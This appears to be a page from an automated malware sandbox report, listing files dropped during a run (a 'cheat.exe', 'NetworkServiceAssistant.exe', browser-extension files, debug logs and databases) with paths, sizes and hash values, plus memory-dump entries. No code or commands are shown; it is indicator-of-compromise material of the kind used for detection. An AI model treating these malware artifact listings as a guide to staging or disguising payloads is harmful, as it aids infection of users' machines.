SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

8941d2e1-7e2c-4ccb-8489-4089caf9b075.tmp

Path C:\Users\Admin\AppData\Local\Temp\8941d2e1-7e2c-4ccb-8489-4089caf9b075.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NetworkServiceAssistant.exe

Path C:\Users\Admin\AppData\Local\Temp\NetworkServiceAssistant.exe
Size 11.9MB
SHA256 83793e4d297006690ac86703e05a189b8c41e1121f22e6e81a0af9490c4bf8cb
MD5 fbb99f178713a3897fac890b4fa5763b
SHA1 bc25f5a16ac426807b4ddb5fb122e3c9be781310
SHA512 f15a3d53bc03107c05da5c01f0295f65853b3fdd0f8a7e3331ab827dcb7f74e274d4b2dde252ceaf2650626decc547634b08fa4db71c0049c03407428eead943
SSDEEP 98304:PAeB8mt1KB6b1QsqLKEGQ0/x233YHb0KJET5S:Pt/inIO00T1
TLSH
T19DC63957E8A511E5E1AEC175C6369523BBB13C884B3063D36B90F7246F36BD0AEB9700
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_vfkymtyc.lbc.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vfkymtyc.lbc.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ak_debug.log

Path C:\Users\Admin\AppData\Local\Temp\ak_debug.log
Size 407B
SHA256 e9240cfe0c50367d0ce83c27f826b196e24816b0d74d580af7f9e1a3bcaac29b
MD5 a7e7222ab1615356e91e549baea5f840
SHA1 efaf9fa6ec30345db4c4249c6129581684a4ce02
SHA512 43b2f9bb45fb8eb5343fe9bdf682378fa643261b54e991b2e0e5583eb5a2f79a0334a545cb80973a175830cc534d9f465f0b0a025c790acfe305bdb341ae31f4
TLSH
T1D1E092F12B1D925B6FF662C2E73656160067808C023E11E7ECAF32CAB4510272270662
MD5 SHA1 SHA512 TLSH

Submit Download

ak_debug.log

Path C:\Users\Admin\AppData\Local\Temp\ak_debug.log
Size 112B
SHA256 9c586f167899cdbb004705f0bc5910c5c8ea2fbd9c70a5d71bc2fc3a079c5071
MD5 ad782d0c653eae85193bedd0d051e6e6
SHA1 a9aadbb635cc0c0d14304a9d53778f19587bd7ef
SHA512 a83ebe50ebcf1ab6b53875940d66d697088c67156df258900340735d3534dafd7f13057b450ac37729d29e637e54002307406f9e1939971a43742483d2ad003f
TLSH
T1D6B092B50765428A6EB556C3C8345A22005780A8052E46A64C6F32C764900131265621
MD5 SHA1 SHA512 TLSH

Submit Download

ak_debug.log

Path C:\Users\Admin\AppData\Local\Temp\ak_debug.log
Size 295B
SHA256 3561f6795982cac9b0bd0aec4335562fcec17327e788121c83ecc3229bd49600
MD5 0ba2afec8a68c125bd66442f4ed72063
SHA1 a85902446abe41c94c4bec99a307f474f6f9c86c
SHA512 bcde7743c5caf67deff596a4e6f64fe54d1d3451646313a1181d6dc885e8890d2fea02926637d500e6ce207731d0380d23a1c3fe2db391292e2507ca74df48ab
TLSH
T13BE012B0275A926F6EE922D6E6365627006780CC023D51E2E8AB3246B45502B6720671
MD5 SHA1 SHA512 TLSH

Submit Download

didy_db_1792692979361301100_3152.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792692979361301100_3152.db
Size 138KB
SHA256 62a1153ee3b7629593315af19174502c354d12ebf135f23092bc3ea60ca5c760
MD5 789745d4caa7cbb8f4dd71c84524bb9c
SHA1 264c845524bbb785ea8bddb9866c64eaafd29cd1
SHA512 4179b37bad69abf93786fe722b9fa081d24b610fcedef03f7e176dadf2c5e54b2c215a1efcd63254063cf723356ce5b55d676052263a9fd77253994ca4fdf417
SSDEEP 384:zeuvBnhJsueMEGvIW1DcP2OQm9iVumNUn5D:FnbZeMrv/hGtvmUnh
TLSH
T1C0D3774B3A743102EDE59A721CE051BB5D3CB17D4F16A5D428B620588EF2963B23E4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1792692979362585900_3152.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792692979362585900_3152.db
Size 160KB
SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
MD5 ea2f1147ca310fa5d8e3dc3cca218f60
SHA1 fd7e6239dac6d57876fc8536feb7bbf2307b0bc1
SHA512 7427e2055015af3721dfaa2f3e16dd12b158dfa3ea8c75130bd66a6610b657d51a5d7fad8c1f2e27e79ba05bdfef1e961171611c2668759bc09dd79cb97cbc9b
SSDEEP 96:JY/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0:JY/tH+bF+UI3iWGVYWNkqp3
TLSH
T14AF30A1E5F243312CDBD92366CE745B3597CF03F8B632A856CA514B1CEE2652A02C4BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1792692979393895100_3152.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792692979393895100_3152.db
Size 256KB
SHA256 b0c72944fc5bd02ac464a83ac972277e38d0dbc674f2a634c0d432bf882ef89a
MD5 b9ac2e3133012e6df701783726dd2e73
SHA1 2027d37725c5f18085038027fb7ccb6fc6568a24
SHA512 6fa34bb32da7171c554d4b3b2988e25598427f3f485632cbbecb12a545909563b01ec12a1393d4c3307652eaee787977a88538c639221a43d46d1e49411adc04
SSDEEP 384:K8NTRZyCSDnxTICYMEhIKyll7svbFKfk7:KoNZJSDniwyI1l7svbF9
TLSH
T16544640A7B747001EDE2D9725CB080771E3C616E8F26E6816DB654694EB3853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1792692979400841800_3152.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792692979400841800_3152.db
Size 224KB
SHA256 1ba935b83104faba63785781dd06f1fb405f5f6c205dd557a94f50a87e9a6b0d
MD5 cc0b01b6e40c08b0732d098947ad2dc7
SHA1 1dd6b8b636d6f6592ebb8f74496271b507609de8
SHA512 4ed4e560bf01dcf12b20c264851b941bcabf443db80f139e5ec4fe45d73798e8e3a64961f9209e861b2f4fb7c8b6976a1618f4076d14929cea3b48a2def94187
SSDEEP 96:bnjFtejzH+bF+UIYysX0fxQp97oEHt/DfLjLqL/9bbEOVpZf24JkMfXSFR+CFqrn:b2H+bF+UI3iWGVoWN3qL/9VVV63
TLSH
T10624EF4E5F343722CDBD913668E644A35C7CF03F8B5366DA686114B5CEE2652A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1792692979435665200_3152.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792692979435665200_3152.db
Size 20KB
SHA256 2ade7ad8f15eccb025798893f007bc3a04679504411bbad75e4d1f35cf47a65e
MD5 40c4021f7a23fc1b361904d0519eb714
SHA1 eb811f03ded3cf26dc320980307be2b2f9335df5
SHA512 6cfd57cdb92272641c9ad007872cf25c11579c5bfd44935b988559b5e0cca1f4eff976265ff2c2b002f5176af6c8c21961f58e8fb108fcedf4370f9d640186ff
SSDEEP 24:TLf91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fB:T79aw/aHLopFMavU1iB
TLSH
T1B392AD8E1F343620C0F44B33F9C249972E7C212C93637A89EE5410F3DD965ABF50A5A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1792692979442194200_3152.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792692979442194200_3152.db
Size 24KB
SHA256 4cc1a146d871eea502899024db7a2ff4ab46d4e787819a0fd75cc74aa7dd9926
MD5 f20c4b926daf368f14b347d55a16cb41
SHA1 aedbb95b2328494e27a76d02ac5409154865d9c3
SHA512 8ec39bf908f1781a50fd054587a2b64f9051fc79ed1482674be1936f614d20bbc49dcef5033e1ecf2f219345414230b4421305de76ba25b28c49d3521d953885
SSDEEP 24:TL8z/bXYFpFNYbatyTM2Wkweka60y6UwbdQ9rPWTZ61:TQz/LopFMaty423w/a9NUuT
TLSH
T140B2594D1F307220C0F44B36EDD189572F7C211CD3A326599E1810F3DE925ABF61956A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_db_1792692979443332400_3152.db

Path C:\Users\Admin\AppData\Local\Temp\didy_db_1792692979443332400_3152.db
Size 96KB
SHA256 33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53
MD5 6066c07e98c96795ecd876aa92fe10f8
SHA1 f73cbd7b307c53aaae38677d6513b1baa729ac9f
SHA512 7d76207c1c6334aa98f79c325118adf03a5ba36b1e2412803fd3e654a9d3630c775f32a98855c46342eba00d4a8496a3ded3686e74beaac9c216beee37aa5cb7
SSDEEP 12:DQnD+23Fmdmc/OPVJXfPNn43etRRfYR5O8atLwxeYaNcDakMG/lO:DQnS232mNVpP965RayKN0MG/lO
TLSH
T192A3DD826B781395C44701B2FCB0565E0D3CA23849272B55AC39B0B30CD6A438A329FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

didy_run.log

Path C:\Users\Admin\AppData\Local\Temp\didy_run.log
Size 1KB
SHA256 c068162d28b26a6534ff2caa34290b21812ef9aabf015008f72e8f671255381e
MD5 a1887a51cd75eb3bb3dec5dc9843b204
SHA1 c3fb0c47772b46e44d505e40ea293aa062683ba8
SHA512 a4a57b8f62aa938fb57b1e3cf459825ba9c0552adb8dbccd60df2978ea7a4905fb29ed164b67d73a0390a54bdbe888163456980d8f339469e3c33cc83b4c9c6e
TLSH
T1DE112EB545A3C47F0B7463F0F2159A0577E33598701A8ACAF63877B5B4472972D4E2E0
MD5 SHA1 SHA512 TLSH

Submit Download

didy_run.log

Path C:\Users\Admin\AppData\Local\Temp\didy_run.log
Size 1KB
SHA256 0520b88ab5f9d0e6d563704039de5858c775ee6f57220a2f878619aebb211b33
MD5 6ce2a735d8a2d6bbdb48fab6d7e8202b
SHA1 2a266a932f25c37177c222473c749217369a5090
SHA512 7f05570a4fcfef8e619387cc61cc664d3da5b39dabeece2ce05370ee4423513164818dff133b34116af9a066fd2902a032dac36d09584d6006f4562d5bd1a0a6
TLSH
T1B2114FB545A3C47F0B7463F0F6159A0577E33598701A8ACAF63877B574072972D4E2E0
MD5 SHA1 SHA512 TLSH

Submit Download

didy_run.log

Path C:\Users\Admin\AppData\Local\Temp\didy_run.log
Size 1KB
SHA256 8c16e54e30c19b532e8423fae47ad4113f92fe70413fffe1c1a9ea8f9e3c3ebc
MD5 93b62413b2f6f9706fb783e7d3531d13
SHA1 1d00e65064f84dded730edbe0ecc1dce2eb1c686
SHA512 d1bbf1fb5a7a20771e65198da19c2494d28e5648b3f733f8f5a2fec841321f6b9f68549ceb3fc0c3a98c349a6975f10440e2818bd630a919e504f51e506b53eb
TLSH
T134213EB545A3C47F0B7463B0F6159A0577E33598701A8ACAF63877B574072972D8F2E0
MD5 SHA1 SHA512 TLSH

Submit Download

didy_run.log

Path C:\Users\Admin\AppData\Local\Temp\didy_run.log
Size 347B
SHA256 9d0bbc0c41c0fae0008c51669d846f2174d64131a618480899dc25a1230d6ba6
MD5 4386dbe92e676f94cdfde177a24bd896
SHA1 d3daafe5d99034cee9d27047051b954b066947a8
SHA512 296c247647d6ed2e2adc96f9f7807ef588a0b978bc1df33228897b55f1993be2ce85b86617e3ddceb8d7afe0013a9e63d0887e2c1d8c77eaf0ef2e7f2226153b
TLSH
T13AE04FB641A3C47F0B3423B0F2259A0677E23598601A8EC9FA3877B5B4572972C4E2E0
MD5 SHA1 SHA512 TLSH

Submit Download

didy_run.log

Path C:\Users\Admin\AppData\Local\Temp\didy_run.log
Size 382B
SHA256 a6d68bb5d31f57b57763bec177211d5772b4223ae467f0fa58f0bf3d09f54e28
MD5 b45f0f2bb57eb9737aca262ee6f7edfa
SHA1 b7404f9de275eb89027d5f6c6a7c31c38854de2c
SHA512 c87cb46f25869c1b3e523561837f0c4ce69725b4863b991bc678adad73313e0de7b8245752b52b645622ddb803f6c6de2f24609909a91192baa0bba2e8efcabb
TLSH
T142E092B941A3C47F0B3463A0F226990677E3359820198DC9F63877B5B4472972C4E3E0
MD5 SHA1 SHA512 TLSH

Submit Download

didy_run.log

Path C:\Users\Admin\AppData\Local\Temp\didy_run.log
Size 486B
SHA256 a153951d4084954a1f2e0fa2c062467bb71f47702fd249e3030ee25f47f8190d
MD5 93c9ae443ad6b3b299ff6347ca41cd48
SHA1 d44f6ee22f2ac3218e37468ec3de17dffef6c816
SHA512 228a1643aad93cd7f927e4809e4e954f8bd777130201adcbc36c78385313a2ae3f64b49bc84d79f6a3984571dac65f5953e8ee153f0fdef6da500fa33987ad0c
TLSH
T15AF05EBA45A3C47F0B7463A0F2259A0577E23598201A8DC9F63877B5B4462972D4E2E0
MD5 SHA1 SHA512 TLSH

Submit Download

didy_run.log

Path C:\Users\Admin\AppData\Local\Temp\didy_run.log
Size 590B
SHA256 85c9b11113e9cb5b88d966a48d4dc6afa82852d674f88235fd2638bca4912c27
MD5 20c5abef21d3a6ba0bfab1264b301f35
SHA1 d0f5f56cef01a3390bc37b290e64e7af23820496
SHA512 3b345fe4d1dbe5897a286ba1a6815f5029c472648218e9feec0d45bf42a75ef85e11d79f1aeea1dfa9e231ddf57a7d71a5c7b36569362d9d9350848e20a2a045
TLSH
T190F04FBA45A3C47F0B7463B0F6159E0577E33598301A8DC9F63877B5B4462972D4E2E0
MD5 SHA1 SHA512 TLSH

Submit Download

didy_run.log

Path C:\Users\Admin\AppData\Local\Temp\didy_run.log
Size 798B
SHA256 1981e4867260bafd21be05c79cf5e5cb1c4c92abb8fce91a634b6961f0830af6
MD5 896b3e4de26b51f1bd60e47c5e1d06f2
SHA1 eac687d8b85653c892a25e009da655e775633e3a
SHA512 d6617443c9d8b0bafff25a998e5b4557c82a2666c44a993e7dee790e73bdd1d993d75e86912fd4a259a9577f4dbc804f9e7d7b35033504be971192d7996ca99f
TLSH
T19F011BBA45A3C47F0B6463B0F6159E0577E33598301A89CAF63877B5B44629B2D4E2E0
MD5 SHA1 SHA512 TLSH

Submit Download

cheat.exe

Path C:\Users\Admin\AppData\Local\Temp\kprx1469424214\cheat.exe
Size 12.6MB
SHA256 e81a3e7d26d03d4b12a008f507f7cb0c4cd0f80243beaab5bfafdf0799a9a651
MD5 5a829312d10838bfc7493b57da4457a3
SHA1 d1788258e435c9492c10eae4c6b93bc30b9a32a0
SHA512 821744d233ce2b2f4b37cfdff362b37f2f78ef92ce56a2f60b48ffa795c1717c7b12337c503ce86bc5e678464fe4d47b694ea2c526dc0af13418b274615756fc
SSDEEP 98304:zzvAeB8mt1KB6b1QsqLKEGQ0/x233YHb0KJET5SqmKj6jton0:zTt/inIO00T1O
TLSH
T13DD64A53E8A505E9E1AEC275C6679223BB707C884B3067D36B50F6246F37BD0ADB9700
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir552_2042537712\CRX_INSTALL\_locales\en_CA\messages.json
Size 711B
SHA256 2445cad863be47bb1c15b57a4960b7b0d01864e63cdfde6395f3b2689dc1444b
MD5 558659936250e03cc14b60ebf648aa09
SHA1 32f1ce0361bbfdff11e2ffd53d3ae88a8b81a825
SHA512 1632f5a3cd71887774bf3cb8a4d8b787ea6278271657b0f1d113dbe1a7fd42c4daa717cc449f157ce8972037572b882dc946a7dc2c0e549d71982dcdee89f727
TLSH
T1460197136240AF18470BF05BB9023442A0B44AC62384E0B775EC982C6656DAFB20B3B0
MD5 SHA1 SHA512 TLSH

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir552_22082479\CRX_INSTALL\content.js
Size 9KB
SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.didy_mid

Path C:\Users\Admin\AppData\Roaming\.didy_mid
Size 16B
SHA256 b1caf44f4183a2867110bfc009715c757ccf13e0488111433642924470f73fc1
MD5 fd406818f894b05bf5d7bdef427ebad8
SHA1 ebae9edba3f393f321541e6b0b88f2253470fc28
SHA512 93e5266a041750802e977fc525e1f9c77d5a9850c3bdc60de5ed2f3b18de01cd128029b5788631f04053644ddff4d2ada458fc861b5426cb8eddafdd3d0c2181
MD5 SHA1 SHA512

Submit Download

memory/2784-75-0x00007FF77D070000-0x00007FF77DCA3000-memory.dmp

Download

memory/2784-113-0x00007FF77D070000-0x00007FF77DCA3000-memory.dmp

Download

memory/2784-111-0x00007FF77D070000-0x00007FF77DCA3000-memory.dmp

Download

memory/4840-31-0x000001A668F40000-0x000001A668F52000-memory.dmp

Download

memory/4840-30-0x000001A668AF0000-0x000001A668B12000-memory.dmp

Download